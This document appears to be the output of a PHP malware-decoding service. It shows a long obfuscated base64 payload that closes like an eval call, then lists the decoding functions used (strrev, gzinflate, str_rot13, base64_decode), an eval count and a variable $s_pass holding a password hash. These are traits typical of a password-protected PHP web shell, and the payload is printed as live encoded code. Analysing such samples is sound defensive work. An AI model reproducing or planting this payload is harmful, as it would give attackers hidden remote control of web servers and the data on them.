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'))));?>

Function Calls

strrev 2
gzinflate 1
str_rot13 4
base64_decode 1

Variables

$_ gzinflate
$__ base64_decode
$___ str_rot13
$s_pass 0de664ecd2be02cdd54234a0d1229b43

Stats

MD5 e261c185010e76922c01c1ca69ca3d8b
Eval Count 1
Decode Time 322 ms